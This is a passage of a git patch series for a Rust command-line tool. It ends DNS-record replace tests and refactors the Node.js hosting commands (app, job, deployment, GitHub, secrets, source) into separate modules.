replace_req(&opts, "9.9.9.9"); + let outcomes = apply_replace( + &client_for(&server), + &req, + "old-1", + "A 1.2.3.4", + Some("1.2.3.4"), + ) + .await; + + assert_eq!( + delete.hits_async().await, + 0, + "the old record must not be touched when the create fails" + ); + assert_eq!(outcomes.len(), 1); + assert_eq!(outcomes[0].kind, "replaced"); + assert!(outcomes[0].error.is_some()); + } + + #[tokio::test] + async fn apply_replace_reports_cleanup_outcome_when_delete_of_old_record_fails() { + let server = MockServer::start_async().await; + let create = server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(201).json_body( + json!({ "type": "A", "name": "www", "data": "9.9.9.9", "ttl": 3600 }), + ); + }) + .await; + let delete = server + .mock_async(|when, then| { + when.method(DELETE) + .path("/v3/domains/zones/example.com/dns-records/old-1"); + then.status(404).json_body(json!({ + "correlationId": "c-1", + "message": "Record not found in DNS zone.", + "name": "RECORD_NOT_FOUND" + })); + }) + .await; + + let opts = write_opts(); + let req = replace_req(&opts, "9.9.9.9"); + let outcomes = apply_replace( + &client_for(&server), + &req, + "old-1", + "A 1.2.3.4", + Some("1.2.3.4"), + ) + .await; + + create.assert_async().await; + delete.assert_async().await; + assert_eq!(outcomes.len(), 2); + assert_eq!(outcomes[0].kind, "replaced"); + assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); + assert_eq!(outcomes[1].kind, "cleanup"); + let err = outcomes[1] + .error + .as_deref() + .expect("cleanup failure reported"); + assert!(err.contains("A 1.2.3.4"), "{err}"); + assert!(err.contains("dns list"), "{err}"); + } +} From a9c73b0c808ce33b6fbb6c3dc602f02284daf45a Mon Sep 17 00:00:00 2001 From: Jacob Page Date: Fri, 7 Aug 2026 14:08:24 -0700 Subject: [PATCH 2/7] refactor(hosting): split nodejs/mod.rs into per-group files nodejs/mod.rs held every nested group (app/job/deployment/source/ github/secrets) inline in one 1088-line file. app/ and source/ get their own subdirectories (multiple substantial leaf commands each); job/deployment/github/secrets stay flat files. mod.rs keeps only the two bare top-level commands and the shared client/terminal-status helpers. --- rust/src/hosting/nodejs/app/create.rs | 61 ++ rust/src/hosting/nodejs/app/delete.rs | 30 + rust/src/hosting/nodejs/app/get.rs | 32 + rust/src/hosting/nodejs/app/list.rs | 28 + rust/src/hosting/nodejs/app/mod.rs | 19 + rust/src/hosting/nodejs/app/update.rs | 62 ++ rust/src/hosting/nodejs/deployment.rs | 134 ++++ rust/src/hosting/nodejs/github.rs | 146 ++++ rust/src/hosting/nodejs/job.rs | 113 +++ rust/src/hosting/nodejs/mod.rs | 950 +---------------------- rust/src/hosting/nodejs/secrets.rs | 100 +++ rust/src/hosting/nodejs/source/git.rs | 140 ++++ rust/src/hosting/nodejs/source/mod.rs | 30 + rust/src/hosting/nodejs/source/status.rs | 50 ++ rust/src/hosting/nodejs/source/upload.rs | 69 ++ 15 files changed, 1036 insertions(+), 928 deletions(-) create mode 100644 rust/src/hosting/nodejs/app/create.rs create mode 100644 rust/src/hosting/nodejs/app/delete.rs create mode 100644 rust/src/hosting/nodejs/app/get.rs create mode 100644 rust/src/hosting/nodejs/app/list.rs create mode 100644 rust/src/hosting/nodejs/app/mod.rs create mode 100644 rust/src/hosting/nodejs/app/update.rs create mode 100644 rust/src/hosting/nodejs/deployment.rs create mode 100644 rust/src/hosting/nodejs/github.rs create mode 100644 rust/src/hosting/nodejs/job.rs create mode 100644 rust/src/hosting/nodejs/secrets.rs create mode 100644 rust/src/hosting/nodejs/source/git.rs create mode 100644 rust/src/hosting/nodejs/source/mod.rs create mode 100644 rust/src/hosting/nodejs/source/status.rs create mode 100644 rust/src/hosting/nodejs/source/upload.rs diff --git a/rust/src/hosting/nodejs/app/create.rs b/rust/src/hosting/nodejs/app/create.rs new file mode 100644 index 0000000..ecf4785 --- /dev/null +++ b/rust/src/hosting/nodejs/app/create.rs @@ -0,0 +1,61 @@ +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; +use serde_json::json; + +use crate::hosting::nodejs::{client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_APPS_CREATE as APPS_CREATE; + +#[derive(Debug, Clone, clap::Args)] +struct AppCreateArgs { + /// Application name. + #[arg(long, value_name = "NAME")] + name: String, + + /// Datacenter (p3 or sxb1). + #[arg(long, value_name = "DATACENTER", value_parser = ["p3", "sxb1"])] + datacenter: Option, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("create", "Create a Node.js hosting application") + .with_long( + "One-time provisioning of a new app slot. Do not call this when pushing \ + code to an app that already exists — use `source upload` (zip) or \ + `source git` (GitHub) instead. Returns a creation job; poll `job get` \ + until status is `active`.", + ) + .with_system("hosting") + .with_tier(Tier::Mutate) + .mutates(true) + .with_scopes(&[APPS_CREATE]), + |ctx, args: AppCreateArgs| async move { + let name = args.name; + let mut body = json!({ "name": name }); + if let Some(datacenter) = args.datacenter { + body["datacenter"] = json!(datacenter); + } + let client = make_client(&ctx, &[APPS_CREATE]).await?; + let data = client.create_app(body).await.map_err(client_err)?; + let job_id = data + .pointer("/job/id") + .and_then(|v| v.as_str()) + .unwrap_or(""); + let mut actions = vec![ + next_action( + "hosting nodejs job get --job-id ", + "Poll app creation status", + ) + .with_param("job-id", NextActionParam::required()), + ]; + if !job_id.is_empty() { + actions[0] = next_action( + "hosting nodejs job get --job-id ", + "Poll app creation status", + ) + .with_param("job-id", NextActionParam::value(job_id)); + } + Ok(CommandResult::new(data).with_next_actions(actions)) + }, + ) +} diff --git a/rust/src/hosting/nodejs/app/delete.rs b/rust/src/hosting/nodejs/app/delete.rs new file mode 100644 index 0000000..929fc38 --- /dev/null +++ b/rust/src/hosting/nodejs/app/delete.rs @@ -0,0 +1,30 @@ +use cli_engine::{CommandResult, CommandSpec, RuntimeCommandSpec, Tier}; +use serde_json::json; + +use crate::hosting::nodejs::{AppIdArgs, client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_APPS_DELETE as APPS_DELETE; + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("delete", "Delete a Node.js hosting application") + .with_long("Permanently delete a Node.js hosting application.") + .with_system("hosting") + .with_tier(Tier::Destructive) + .mutates(true) + .with_scopes(&[APPS_DELETE]), + |ctx, args: AppIdArgs| async move { + let app_id = args.app_id; + let client = make_client(&ctx, &[APPS_DELETE]).await?; + client.delete_app(&app_id).await.map_err(client_err)?; + Ok( + CommandResult::new(json!({ "deleted": true, "appId": app_id })).with_next_actions( + vec![next_action( + "hosting nodejs app list", + "List remaining applications", + )], + ), + ) + }, + ) +} diff --git a/rust/src/hosting/nodejs/app/get.rs b/rust/src/hosting/nodejs/app/get.rs new file mode 100644 index 0000000..f4831df --- /dev/null +++ b/rust/src/hosting/nodejs/app/get.rs @@ -0,0 +1,32 @@ +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; + +use crate::hosting::nodejs::{AppIdArgs, client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_APPS_READ as APPS_READ; + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("get", "Get a Node.js hosting application") + .with_long("Get details for one Node.js hosting application.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[APPS_READ]), + |ctx, args: AppIdArgs| async move { + let app_id = args.app_id; + let client = make_client(&ctx, &[APPS_READ]).await?; + let data = client.get_app(&app_id).await.map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + next_action( + "hosting nodejs deployment list --app-id ", + "List deployments for this application", + ) + .with_param("app-id", NextActionParam::value(app_id.clone())), + next_action( + "hosting nodejs status --app-id ", + "Get application status", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ])) + }, + ) +} diff --git a/rust/src/hosting/nodejs/app/list.rs b/rust/src/hosting/nodejs/app/list.rs new file mode 100644 index 0000000..8e851b4 --- /dev/null +++ b/rust/src/hosting/nodejs/app/list.rs @@ -0,0 +1,28 @@ +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; + +use crate::hosting::nodejs::{HostingAppSummary, client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_APPS_READ as APPS_READ; + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("list", "List Node.js hosting applications") + .with_long("List all Node.js hosting applications in your account.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[APPS_READ]) + .with_default_fields("id,name,status") + .with_output_schema::(), + |ctx| async move { + let client = make_client(&ctx, &[APPS_READ]).await?; + let data = client.list_apps().await.map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + next_action( + "hosting nodejs app get --app-id ", + "Get details for an application", + ) + .with_param("app-id", NextActionParam::required()), + ])) + }, + ) +} diff --git a/rust/src/hosting/nodejs/app/mod.rs b/rust/src/hosting/nodejs/app/mod.rs new file mode 100644 index 0000000..d133f6a --- /dev/null +++ b/rust/src/hosting/nodejs/app/mod.rs @@ -0,0 +1,19 @@ +mod create; +mod delete; +mod get; +mod list; +mod update; + +use cli_engine::{GroupSpec, RuntimeGroupSpec}; + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new( + "app", + "Create, inspect, update, and delete Node.js hosting apps", + )) + .with_command(list::command()) + .with_command(get::command()) + .with_command(create::command()) + .with_command(update::command()) + .with_command(delete::command()) +} diff --git a/rust/src/hosting/nodejs/app/update.rs b/rust/src/hosting/nodejs/app/update.rs new file mode 100644 index 0000000..8af0972 --- /dev/null +++ b/rust/src/hosting/nodejs/app/update.rs @@ -0,0 +1,62 @@ +use cli_engine::{CommandResult, CommandSpec, RuntimeCommandSpec, Tier}; +use serde_json::{Value, json}; + +use crate::hosting::nodejs::{client_err, make_client}; +use crate::scopes::HOSTING_APPS_UPDATE as APPS_UPDATE; + +#[derive(Debug, Clone, clap::Args)] +struct AppUpdateArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// New application name. + #[arg(long, value_name = "NAME")] + name: Option, + + /// Application root path. + #[arg(long = "root-path", value_name = "PATH")] + root_path: Option, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "update", + "Update Node.js hosting application metadata", + ) + .with_long("Update app metadata (name and/or root path). Does not affect source code or deployments.") + .with_system("hosting") + .with_tier(Tier::Mutate) + .mutates(true) + .with_scopes(&[APPS_UPDATE]), + |ctx, args: AppUpdateArgs| async move { + let app_id = args.app_id; + // Treat an empty/whitespace-only value the same as an absent flag, + // matching the pre-typed-args `optional_str` helper's behavior — + // otherwise `--name ""` bypasses the "at least one of" check below + // and would send an invalid patch body. + let name = args.name.filter(|s| !s.trim().is_empty()); + let root_path = args.root_path.filter(|s| !s.trim().is_empty()); + if name.is_none() && root_path.is_none() { + return Err(crate::error::GddyError::validation( + "at least one of --name or --root-path is required", + ) + .into_cli_error()); + } + let mut body = serde_json::Map::new(); + if let Some(name) = name { + body.insert("name".to_owned(), json!(name)); + } + if let Some(root_path) = root_path { + body.insert("rootPath".to_owned(), json!(root_path)); + } + let client = make_client(&ctx, &[APPS_UPDATE]).await?; + let data = client + .patch_app(&app_id, Value::Object(body)) + .await + .map_err(client_err)?; + Ok(CommandResult::new(data)) + }, + ) +} diff --git a/rust/src/hosting/nodejs/deployment.rs b/rust/src/hosting/nodejs/deployment.rs new file mode 100644 index 0000000..fe0bfb3 --- /dev/null +++ b/rust/src/hosting/nodejs/deployment.rs @@ -0,0 +1,134 @@ +//! `gddy hosting nodejs deployment` — promote preview to live and view deployment history. + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, NextActionParam, RuntimeCommandSpec, RuntimeGroupSpec, + Tier, +}; + +use crate::hosting::nodejs::{AppIdArgs, client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::{HOSTING_APPS_READ as APPS_READ, HOSTING_DEPLOY_EXECUTE as DEPLOY_EXECUTE}; + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new( + "deployment", + "Promote preview to live and view deployment history", + )) + .with_command(list_command()) + .with_command(publish_command()) +} + +#[derive(Debug, Clone, clap::Args)] +struct DeploymentListArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + // Local override of the engine's global `--limit`, typed `i64` to match + // it (see `domain::suggest::SuggestArgs::limit` for the full rationale — + // a differently-typed override panics with a downcast mismatch reading + // the root `ArgMatches`). + #[arg( + long, + value_name = "N", + help = "Maximum deployments to return (1-50)", + allow_negative_numbers = true, + value_parser = clap::value_parser!(i64).range(1..=50) + )] + limit: Option, +} + +fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("list", "List application deployments") + .with_long("List deployments for a Node.js hosting application.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[APPS_READ]), + |ctx, args: DeploymentListArgs| async move { + let app_id = args.app_id; + let limit = args.limit.and_then(|n| u32::try_from(n).ok()); + let client = make_client(&ctx, &[APPS_READ]).await?; + let data = client + .list_deployments(&app_id, limit) + .await + .map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + next_action( + "hosting nodejs deployment publish --app-id ", + "Publish the latest source", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ])) + }, + ) +} + +fn publish_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "publish", + "Promote the app's preview environment to live", + ) + .with_long( + "Promote the app's current preview environment to live, making it \ + available to users. Run after a source upload or git import job reaches \ + `complete`. Poll `status` (variants[].lifecycleState on the publish \ + variant) and `deployment list` for progress.", + ) + .with_system("hosting") + .with_tier(Tier::Mutate) + .mutates(true) + .with_scopes(&[DEPLOY_EXECUTE]), + |ctx, args: AppIdArgs| async move { + let app_id = args.app_id; + let client = make_client(&ctx, &[DEPLOY_EXECUTE]).await?; + let data = client.publish_app(&app_id).await.map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + next_action( + "hosting nodejs status --app-id ", + "Check application status", + ) + .with_param("app-id", NextActionParam::value(app_id.clone())), + next_action( + "hosting nodejs deployment list --app-id ", + "List deployments", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ])) + }, + ) +} + +#[cfg(test)] +mod tests { + use super::list_command; + + /// Builds a clap command from the real `--limit` arg rather than a hand-rolled copy. + fn deployment_list_clap_command() -> clap::Command { + clap::Command::new("list").args(list_command().spec.args) + } + + #[test] + fn limit_rejects_out_of_range_and_negative_values() { + for bad in ["0", "51", "-1"] { + let err = deployment_list_clap_command() + .try_get_matches_from(["list", "--app-id", "app-1", "--limit", bad]) + .expect_err("out-of-range --limit should be rejected"); + assert_eq!( + err.kind(), + clap::error::ErrorKind::ValueValidation, + "--limit {bad} should fail range validation, got: {err}" + ); + } + } + + #[test] + fn limit_accepts_the_full_valid_range() { + for good in ["1", "50"] { + deployment_list_clap_command() + .try_get_matches_from(["list", "--app-id", "app-1", "--limit", good]) + .expect("value within the valid --limit range should be accepted"); + } + } +} diff --git a/rust/src/hosting/nodejs/github.rs b/rust/src/hosting/nodejs/github.rs new file mode 100644 index 0000000..2527d0d --- /dev/null +++ b/rust/src/hosting/nodejs/github.rs @@ -0,0 +1,146 @@ +//! `gddy hosting nodejs github` — manage GitHub connections. + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, NextActionParam, RuntimeCommandSpec, RuntimeGroupSpec, + Tier, +}; + +use crate::hosting::nodejs::{AppIdArgs, client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_GITHUB_EXECUTE as GITHUB_EXECUTE; + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new("github", "Manage GitHub connections")) + .with_command(status_command()) + .with_command(repos_command()) + .with_command(branches_command()) +} + +fn status_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("status", "Show GitHub connection status") + .with_long("Show whether GitHub is connected to a Node.js hosting application.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[GITHUB_EXECUTE]), + |ctx, args: AppIdArgs| async move { + let app_id = args.app_id; + let client = make_client(&ctx, &[GITHUB_EXECUTE]).await?; + let data = client + .get_github_status(&app_id) + .await + .map_err(client_err)?; + let connected = data + .get("connected") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + let mut actions = Vec::new(); + if connected { + actions.push( + next_action( + "hosting nodejs github repos --app-id ", + "List accessible GitHub repositories", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ); + } + Ok(CommandResult::new(data).with_next_actions(actions)) + }, + ) +} + +#[derive(Debug, Clone, clap::Args)] +struct GithubReposArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// Repositories per page (1-100). + #[arg(long = "per-page", value_name = "N", value_parser = clap::value_parser!(u32).range(1..=100))] + per_page: Option, + + /// Sort order (created, updated, pushed, full_name). + #[arg(long, value_name = "SORT", value_parser = ["created", "updated", "pushed", "full_name"])] + sort: Option, +} + +fn repos_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("repos", "List accessible GitHub repositories") + .with_long("List GitHub repositories accessible to the connected account.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[GITHUB_EXECUTE]), + |ctx, args: GithubReposArgs| async move { + let app_id = args.app_id; + let per_page = args.per_page; + let sort = args.sort; + let client = make_client(&ctx, &[GITHUB_EXECUTE]).await?; + let data = client + .list_github_repos(&app_id, per_page, sort.as_deref()) + .await + .map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + next_action( + "hosting nodejs github branches --app-id --owner --repo ", + "List branches for a repository", + ) + .with_param("app-id", NextActionParam::value(app_id)) + .with_param("owner", NextActionParam::required()) + .with_param("repo", NextActionParam::required()), + ])) + }, + ) +} + +#[derive(Debug, Clone, clap::Args)] +struct GithubBranchesArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// Repository owner (user or org). + #[arg(long, value_name = "OWNER")] + owner: String, + + /// Repository name. + #[arg(long, value_name = "REPO")] + repo: String, + + /// Branches per page (1-100). + #[arg(long = "per-page", value_name = "N", value_parser = clap::value_parser!(u32).range(1..=100))] + per_page: Option, +} + +fn branches_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "branches", + "List branches for a GitHub repository", + ) + .with_long("List branches for a GitHub repository accessible to the connected account.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[GITHUB_EXECUTE]), + |ctx, args: GithubBranchesArgs| async move { + let app_id = args.app_id; + let owner = args.owner; + let repo = args.repo; + let per_page = args.per_page; + let client = make_client(&ctx, &[GITHUB_EXECUTE]).await?; + let data = client + .list_github_branches(&app_id, &owner, &repo, per_page) + .await + .map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + next_action( + "hosting nodejs source git --app-id --repo --branch ", + "Import source from this repository", + ) + .with_param("app-id", NextActionParam::value(app_id)) + .with_param("repo", NextActionParam::value(format!("{owner}/{repo}"))) + .with_param("branch", NextActionParam::required()), + ])) + }, + ) +} diff --git a/rust/src/hosting/nodejs/job.rs b/rust/src/hosting/nodejs/job.rs new file mode 100644 index 0000000..62f4bcc --- /dev/null +++ b/rust/src/hosting/nodejs/job.rs @@ -0,0 +1,113 @@ +//! `gddy hosting nodejs job` — poll app creation jobs. + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, NextActionParam, RuntimeCommandSpec, RuntimeGroupSpec, + Tier, +}; +use serde_json::Value; + +use crate::hosting::nodejs::{ + HostingJobSummary, client_err, is_app_creation_job_terminal, make_client, +}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_APPS_CREATE as APPS_CREATE; + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new("job", "Poll app creation jobs")).with_command(command()) +} + +#[derive(Debug, Clone, clap::Args)] +struct JobIdArgs { + /// App creation job ID. + #[arg(long = "job-id", value_name = "JOB_ID")] + job_id: String, +} + +fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("get", "Get app creation job status") + .with_long( + "Poll an app creation job until status is `active` (app provisioned) or \ + `failed`. Only used after `app create` — for source upload or git import \ + jobs use `source status` or `source git-status`.", + ) + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[APPS_CREATE]) + .with_default_fields("id,status") + .with_output_schema::(), + |ctx, args: JobIdArgs| async move { + let job_id = args.job_id; + let client = make_client(&ctx, &[APPS_CREATE]).await?; + let mut data = client + .get_app_creation_status(&job_id) + .await + .map_err(client_err)?; + promote_job_fields(&mut data); + let status = data + .pointer("/job/status") + .and_then(|v| v.as_str()) + .unwrap_or(""); + let mut actions = Vec::new(); + if !is_app_creation_job_terminal(status) { + actions.push( + next_action( + "hosting nodejs job get --job-id ", + "Re-check job status", + ) + .with_param("job-id", NextActionParam::value(job_id)), + ); + } else if status == "active" + && let Some(app_id) = data.pointer("/app/id").and_then(|v| v.as_str()) + { + actions.push( + next_action( + "hosting nodejs app get --app-id ", + "View the provisioned application", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ); + } + Ok(CommandResult::new(data).with_next_actions(actions)) + }, + ) +} + +fn promote_job_fields(data: &mut Value) { + let job = data.get("job").cloned(); + if let (Some(Value::Object(job)), Some(obj)) = (job, data.as_object_mut()) { + for key in ["id", "status"] { + if let Some(v) = job.get(key) { + obj.insert(key.to_owned(), v.clone()); + } + } + } +} + +#[cfg(test)] +mod tests { + use super::promote_job_fields; + use serde_json::json; + + #[test] + fn promote_job_fields_lifts_id_and_status_to_top() { + let mut data = json!({ + "job": { "id": "job-1", "status": "active" }, + "app": { "id": "app-1", "name": "demo" }, + }); + promote_job_fields(&mut data); + assert_eq!(data["id"], "job-1"); + assert_eq!(data["status"], "active"); + assert_eq!(data["job"]["id"], "job-1"); + assert_eq!(data["app"]["name"], "demo"); + } + + #[test] + fn promote_job_fields_is_noop_without_job() { + let mut data = json!({ "app": { "id": "app-1" } }); + promote_job_fields(&mut data); + assert!(data.get("id").is_none()); + assert!(data.get("status").is_none()); + assert_eq!(data["app"]["id"], "app-1"); + } +} diff --git a/rust/src/hosting/nodejs/mod.rs b/rust/src/hosting/nodejs/mod.rs index ef64453..92c3242 100644 --- a/rust/src/hosting/nodejs/mod.rs +++ b/rust/src/hosting/nodejs/mod.rs @@ -1,10 +1,16 @@ pub mod client; +mod app; +mod deployment; +mod github; +mod job; +mod secrets; +mod source; + use cli_engine::{ CliCoreError, CommandContext, CommandResult, CommandSpec, GroupSpec, NextActionParam, Result, RuntimeCommandSpec, RuntimeGroupSpec, Tier, }; -use serde_json::{Value, json}; use crate::next_action::next_action; use crate::{ @@ -12,13 +18,7 @@ use crate::{ output_schema::output_schema, }; -use crate::scopes::{ - HOSTING_APPS_CREATE as APPS_CREATE, HOSTING_APPS_DELETE as APPS_DELETE, - HOSTING_APPS_READ as APPS_READ, HOSTING_APPS_UPDATE as APPS_UPDATE, - HOSTING_CODE_READ as CODE_READ, HOSTING_CODE_WRITE as CODE_WRITE, - HOSTING_DEPLOY_EXECUTE as DEPLOY_EXECUTE, HOSTING_GITHUB_EXECUTE as GITHUB_EXECUTE, - HOSTING_LOGS_READ as LOGS_READ, HOSTING_SECRETS_WRITE as SECRETS_WRITE, -}; +use crate::scopes::{HOSTING_APPS_READ as APPS_READ, HOSTING_LOGS_READ as LOGS_READ}; output_schema!(HostingAppSummary { "id": "string"; @@ -53,6 +53,13 @@ fn is_app_creation_job_terminal(status: &str) -> bool { matches!(status, "active" | "failed") } +#[derive(Debug, Clone, clap::Args)] +struct AppIdArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, +} + pub fn nodejs_group() -> RuntimeGroupSpec { RuntimeGroupSpec::new( GroupSpec::new("nodejs", "Manage Node.js hosting applications").with_long( @@ -63,409 +70,16 @@ pub fn nodejs_group() -> RuntimeGroupSpec { commands to poll until complete.", ), ) - .with_group(app_group()) - .with_group(job_group()) - .with_group(deployment_group()) + .with_group(app::group()) + .with_group(job::group()) + .with_group(deployment::group()) .with_command(status_command()) - .with_group(source_group()) - .with_group(github_group()) - .with_group(secrets_group()) + .with_group(source::group()) + .with_group(github::group()) + .with_group(secrets::group()) .with_command(logs_command()) } -fn app_group() -> RuntimeGroupSpec { - RuntimeGroupSpec::new(GroupSpec::new( - "app", - "Create, inspect, update, and delete Node.js hosting apps", - )) - .with_command(app_list_command()) - .with_command(app_get_command()) - .with_command(app_create_command()) - .with_command(app_update_command()) - .with_command(app_delete_command()) -} - -fn job_group() -> RuntimeGroupSpec { - RuntimeGroupSpec::new(GroupSpec::new("job", "Poll app creation jobs")) - .with_command(job_get_command()) -} - -fn deployment_group() -> RuntimeGroupSpec { - RuntimeGroupSpec::new(GroupSpec::new( - "deployment", - "Promote preview to live and view deployment history", - )) - .with_command(deployment_list_command()) - .with_command(deployment_publish_command()) -} - -fn source_group() -> RuntimeGroupSpec { - RuntimeGroupSpec::new(GroupSpec::new( - "source", - "Push code to an app's preview environment", - )) - .with_command(source_upload_command()) - .with_command(source_status_command()) - .with_command(source_git_command()) - .with_command(source_git_status_command()) -} - -fn github_group() -> RuntimeGroupSpec { - RuntimeGroupSpec::new(GroupSpec::new("github", "Manage GitHub connections")) - .with_command(github_status_command()) - .with_command(github_repos_command()) - .with_command(github_branches_command()) -} - -fn secrets_group() -> RuntimeGroupSpec { - RuntimeGroupSpec::new(GroupSpec::new("secrets", "Manage app secrets")) - .with_command(secrets_list_command()) - .with_command(secrets_update_command()) -} - -fn app_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_with_context( - CommandSpec::new("list", "List Node.js hosting applications") - .with_long("List all Node.js hosting applications in your account.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[APPS_READ]) - .with_default_fields("id,name,status") - .with_output_schema::(), - |ctx| async move { - let client = make_client(&ctx, &[APPS_READ]).await?; - let data = client.list_apps().await.map_err(client_err)?; - Ok(CommandResult::new(data).with_next_actions(vec![ - next_action( - "hosting nodejs app get --app-id ", - "Get details for an application", - ) - .with_param("app-id", NextActionParam::required()), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct AppIdArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, -} - -fn app_get_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("get", "Get a Node.js hosting application") - .with_long("Get details for one Node.js hosting application.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[APPS_READ]), - |ctx, args: AppIdArgs| async move { - let app_id = args.app_id; - let client = make_client(&ctx, &[APPS_READ]).await?; - let data = client.get_app(&app_id).await.map_err(client_err)?; - Ok(CommandResult::new(data).with_next_actions(vec![ - next_action( - "hosting nodejs deployment list --app-id ", - "List deployments for this application", - ) - .with_param("app-id", NextActionParam::value(app_id.clone())), - next_action( - "hosting nodejs status --app-id ", - "Get application status", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct AppCreateArgs { - /// Application name. - #[arg(long, value_name = "NAME")] - name: String, - - /// Datacenter (p3 or sxb1). - #[arg(long, value_name = "DATACENTER", value_parser = ["p3", "sxb1"])] - datacenter: Option, -} - -fn app_create_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("create", "Create a Node.js hosting application") - .with_long( - "One-time provisioning of a new app slot. Do not call this when pushing \ - code to an app that already exists — use `source upload` (zip) or \ - `source git` (GitHub) instead. Returns a creation job; poll `job get` \ - until status is `active`.", - ) - .with_system("hosting") - .with_tier(Tier::Mutate) - .mutates(true) - .with_scopes(&[APPS_CREATE]), - |ctx, args: AppCreateArgs| async move { - let name = args.name; - let mut body = json!({ "name": name }); - if let Some(datacenter) = args.datacenter { - body["datacenter"] = json!(datacenter); - } - let client = make_client(&ctx, &[APPS_CREATE]).await?; - let data = client.create_app(body).await.map_err(client_err)?; - let job_id = data - .pointer("/job/id") - .and_then(|v| v.as_str()) - .unwrap_or(""); - let mut actions = vec![ - next_action( - "hosting nodejs job get --job-id ", - "Poll app creation status", - ) - .with_param("job-id", NextActionParam::required()), - ]; - if !job_id.is_empty() { - actions[0] = next_action( - "hosting nodejs job get --job-id ", - "Poll app creation status", - ) - .with_param("job-id", NextActionParam::value(job_id)); - } - Ok(CommandResult::new(data).with_next_actions(actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct AppUpdateArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// New application name. - #[arg(long, value_name = "NAME")] - name: Option, - - /// Application root path. - #[arg(long = "root-path", value_name = "PATH")] - root_path: Option, -} - -fn app_update_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "update", - "Update Node.js hosting application metadata", - ) - .with_long("Update app metadata (name and/or root path). Does not affect source code or deployments.") - .with_system("hosting") - .with_tier(Tier::Mutate) - .mutates(true) - .with_scopes(&[APPS_UPDATE]), - |ctx, args: AppUpdateArgs| async move { - let app_id = 